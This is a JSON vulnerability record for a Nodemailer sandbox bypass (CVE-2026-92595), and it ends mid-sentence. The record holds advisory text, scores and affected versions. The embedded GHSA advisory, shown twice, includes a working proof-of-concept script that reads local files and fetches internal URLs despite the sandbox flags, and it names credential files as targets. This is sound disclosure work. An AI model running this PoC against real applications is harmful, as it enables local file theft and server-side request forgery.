{"id":"CVE-2026-92595","aliases":["CLSA-2026-1788978110","CLSA-2026-1790109128","CLSA-2026-1791511288","CLSA-2026-1791806459","CLSA-2026-1791821315","CLSA-2026-1791825763","CLSA-2026-1792115498","DEBIAN-CVE-2026-92595","EUVD-2026-81295","GHSA-2x7j-588g-ccc2","GHSA-5635-p6jj-6g9p","GHSA-8m3c-c648-2xjj","GHSA-8vvx-rff5-p5rq","GHSA-cc9r-2j5m-2m83","GHSA-v53p-9fqp-m79j","GHSA-wmmp-3585-3rmp","UBUNTU-CVE-2026-92595"],"status":"published","title":"Nodemailer before 9.1.1 Security Sandbox Bypass via resolveContent","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","severity":{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00295,"percentile":0.22394,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-73","CWE-918"],"published":"2026-09-08T21:16:00Z","modified":"2026-10-28T20:17:26Z","fixes":[{"ecosystem":"npm","package":"nodemailer","fixed_in":["9.1.1"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"nodemailer","fixed_in":["9.1.0-tuxcare.1","6.10.1-tuxcare.10","9.0.3-tuxcare.2","9.0.2-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-nodemailer","fixed_in":["10.0.0+~8.0.1-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"9.1.0"},{"fixed":"9.1.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.1.0-tuxcare.0"},{"fixed":"9.1.0-tuxcare.1"}]}],"versions":["9.1.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.10.1-tuxcare.0"},{"fixed":"6.10.1-tuxcare.10"}]}],"versions":["6.10.1","6.10.1-tuxcare.1","6.10.1-tuxcare.2","6.10.1-tuxcare.3","6.10.1-tuxcare.4","6.10.1-tuxcare.5","6.10.1-tuxcare.6","6.10.1-tuxcare.7","6.10.1-tuxcare.8","6.10.1-tuxcare.9"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.1-tuxcare.0"},{"fixed":"9.0.1-tuxcare.1"}]}],"versions":["9.0.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.6-tuxcare.0"},{"fixed":"9.0.6-tuxcare.1"}]}],"versions":["9.0.6"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.3-tuxcare.0"},{"fixed":"9.0.3-tuxcare.2"}]}],"versions":["9.0.3","9.0.3-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.2-tuxcare.0"},{"fixed":"9.0.2-tuxcare.2"}]}],"versions":["9.0.2","9.0.2-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-tuxcare.0"},{"fixed":"9.0.0-tuxcare.3"}]}],"versions":["9.0.0","9.0.0-tuxcare.1","9.0.0-tuxcare.2"],"bundled":3},{"source":"osv","ecosystem":"Debian:12","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0+~8.0.1-1","10.0.10+~8.0.1-1","6.10.0+~6.4.17-1","6.8.0+~6.4.6-1","6.9.13+~6.4.14-1","6.9.15+~6.4.16-1","6.9.16+~6.4.16-1","6.9.4+~6.4.9-1","6.9.4+~6.4.9-2","6.9.4+~6.4.9-3","6.9.4+~6.4.9-4","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.11+~8.0.1-1","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1","9.0.6+~8.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0+~8.0.1-1","10.0.10+~8.0.1-1","6.10.0+~6.4.17-1","6.10.0+~6.4.17-1+deb13u1","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.11+~8.0.1-1","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1","9.0.6+~8.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.0.0+~8.0.1-1"}]}],"versions":["6.10.0+~6.4.17-1","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.11+~8.0.1-1","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1","9.0.6+~8.0.1-1"]},{"source":"osv","ecosystem":"npm","package":"nodemailer","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"9.1.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.3.0-2","6.3.1-1","6.4.0-1","6.4.1-1","6.4.2-1","6.4.5-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.4.17-3","6.7.0-1","6.7.0-2","6.7.1+~6.4.4-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.9.4+~6.4.9-2","6.9.4+~6.4.9-3ubuntu1","6.9.4+~6.4.9-4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["7.0.5+~7.0.1-1","7.0.9+~7.0.2-2","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","8.0.4+~7.0.11-1"]}],"products":[{"vendor":"nodemailer","product":"nodemailer"}],"references":[{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj","tags":["vendor-advisory","exploit","advisory","web","report"]},{"url":"https://www.vulncheck.com/advisories/nodemailer-before-9.1.1-security-sandbox-bypass-via-resolvecontent","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92595","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5635-p6jj-6g9p"},{"url":"https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b","tags":["web"]},{"url":"https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474","tags":["web"]},{"url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1","tags":["web"]},{"url":"https://github.com/advisories/GHSA-8m3c-c648-2xjj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92595.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-92595","tags":["advisory"]},{"url":"https://github.com/nodemailer/nodemailer","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-92595","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-92595","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-92595","title":"Nodemailer before 9.1.1 Security Sandbox Bypass via resolveContent","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","status":"published","published":"2026-09-16T21:47:00.171Z","modified":"2026-09-19T02:05:35.346Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T13:48:35.749498Z"}],"euvd":[{"id":"EUVD-2026-81295","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","status":"published","published":"2026-09-16T21:47:00Z","modified":"2026-09-19T02:05:35Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:28:06.992666Z"}],"ghsa":[{"id":"GHSA-5635-p6jj-6g9p","title":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the ...","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","status":"published","published":"2026-09-17T00:31:27Z","modified":"2026-09-17T00:31:27Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:12:03.458644Z"},{"id":"GHSA-8m3c-c648-2xjj","title":"Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature","description":"### Summary\n\nNodemailer's `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library's internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.\n\nWhen called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).\n\nA plugin or application code that resolves message content through the documented API (the same API the library's own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.\n\n### Details\n\nRoot cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):\n\n```js\n['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key =\u003e {\n    if (key in options) {\n        this.data[key] = options[key];\n    }\n});\n```\n\nThe public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):\n\n```js\nresolveContent(...args) {\n    return shared.resolveContent(...args);\n}\n```\n\n`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):\n\n```js\nmodule.exports.resolveContent = (data, key, options, callback) =\u003e {\n    // options is optional; support the legacy resolveContent(data, key, callback) signature\n    if (!callback \u0026\u0026 typeof options === 'function') {\n        callback = options;\n        options = false;\n    }\n    options = options || {};\n    ...\n    resolveContentValue(data, key, options, callback);\n```\n\n`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).\n\nContrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is \"useful when you want to create a plugin that needs a content value\").\n\nAffected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).\n\n### PoC\n\nRequires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.\n\n```js\n'use strict';\nconst nodemailer = require('nodemailer');\nconst MailMessage = require('nodemailer/lib/mailer/mail-message');\n\nconst TARGET_FILE = '/app/src/package.json';   // any readable local file\nconst SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target\n\nconst transporter = nodemailer.createTransport({\n    streamTransport: true,\n    disableFileAccess: true,   // sandbox explicitly enabled\n    disableUrlAccess: true\n});\n\nconst data = {\n    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',\n    html: { path: TARGET_FILE },\n    attachments: [{ filename: 'x.bin', href: SSRF_URL }]\n};\nconst mail = new MailMessage(transporter, data);\n// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true\n\n// Documented legacy plugin signature — options argument omitted:\nmail.resolveContent(mail.data, 'html', (err, value) =\u003e {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('FILE_READ_OK len=', value.length);          // -\u003e 1647 (package.json)\n});\nmail.resolveContent(mail.data.attachments, 0, (err, body) =\u003e {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('URL_FETCH_OK body=', body.toString());      // -\u003e fetched response\n});\n```\n\nObserved output on the audit environment (Node 22, `nodemailer@9.1.0`):\n\n```text\nmail.data.disableFileAccess = true | disableUrlAccess = true\n[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json\n[CONTROL html.path explicit-options] err = EFILEACCESS\n[BYPASS html.path legacy] READ OK len = 1647 head = \"{\\n    \\\"name\\\": \\\"nodemailer\\\",\\n    \\\"version\\\": \\\"9.1.0\\\",\\n    \\\"des\"\n[BYPASS att[0].href legacy] FETCH OK len = 13 body = \"HTTP-SINK OK\\n\"\n```\n\nThe negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, 'html', cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.\n\n### Impact\n\nAn application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:\n\n- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.\n- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.\n\nReachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.","status":"published","published":"2026-09-08T21:16:00Z","modified":"2026-09-08T21:16:03Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-73","CWE-918"],"updated_at":"2026-11-02T14:41:14.764963Z"}],"nvd":[{"id":"CVE-2026-92595","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","status":"published","published":"2026-09-16T22:18:30.417Z","modified":"2026-09-22T20:25:55.87Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:12:49.013904Z"}],"osv":[{"id":"CVE-2026-92595","title":"Nodemailer before 9.1.1 Security Sandbox Bypass via resolveContent","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","status":"published","published":"2026-09-16T21:47:00.171Z","modified":"2026-10-28T02:30:53.747924183Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:45:20.588039Z"},{"id":"DEBIAN-CVE-2026-92595","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","status":"published","published":"2026-09-16T22:18:30.417Z","modified":"2026-09-23T08:47:37.610408245Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:46:06.846102Z"},{"id":"GHSA-8m3c-c648-2xjj","title":"Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature","description":"### Summary\n\nNodemailer's `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library's internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.\n\nWhen called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).\n\nA plugin or application code that resolves message content through the documented API (the same API the library's own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.\n\n### Details\n\nRoot cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):\n\n```js\n['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key =\u003e {\n    if (key in options) {\n        this.data[key] = options[key];\n    }\n});\n```\n\nThe public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):\n\n```js\nresolveContent(...args) {\n    return shared.resolveContent(...args);\n}\n```\n\n`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):\n\n```js\nmodule.exports.resolveContent = (data, key, options, callback) =\u003e {\n    // options is optional; support the legacy resolveContent(data, key, callback) signature\n    if (!callback \u0026\u0026 typeof options === 'function') {\n        callback = options;\n        options = false;\n    }\n    options = options || {};\n    ...\n    resolveContentValue(data, key, options, callback);\n```\n\n`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).\n\nContrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is \"useful when you want to create a plugin that needs a content value\").\n\nAffected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).\n\n### PoC\n\nRequires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.\n\n```js\n'use strict';\nconst nodemailer = require('nodemailer');\nconst MailMessage = require('nodemailer/lib/mailer/mail-message');\n\nconst TARGET_FILE = '/app/src/package.json';   // any readable local file\nconst SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target\n\nconst transporter = nodemailer.createTransport({\n    streamTransport: true,\n    disableFileAccess: true,   // sandbox explicitly enabled\n    disableUrlAccess: true\n});\n\nconst data = {\n    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',\n    html: { path: TARGET_FILE },\n    attachments: [{ filename: 'x.bin', href: SSRF_URL }]\n};\nconst mail = new MailMessage(transporter, data);\n// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true\n\n// Documented legacy plugin signature — options argument omitted:\nmail.resolveContent(mail.data, 'html', (err, value) =\u003e {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('FILE_READ_OK len=', value.length);          // -\u003e 1647 (package.json)\n});\nmail.resolveContent(mail.data.attachments, 0, (err, body) =\u003e {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('URL_FETCH_OK body=', body.toString());      // -\u003e fetched response\n});\n```\n\nObserved output on the audit environment (Node 22, `nodemailer@9.1.0`):\n\n```text\nmail.data.disableFileAccess = true | disableUrlAccess = true\n[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json\n[CONTROL html.path explicit-options] err = EFILEACCESS\n[BYPASS html.path legacy] READ OK len = 1647 head = \"{\\n    \\\"name\\\": \\\"nodemailer\\\",\\n    \\\"version\\\": \\\"9.1.0\\\",\\n    \\\"des\"\n[BYPASS att[0].href legacy] FETCH OK len = 13 body = \"HTTP-SINK OK\\n\"\n```\n\nThe negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin 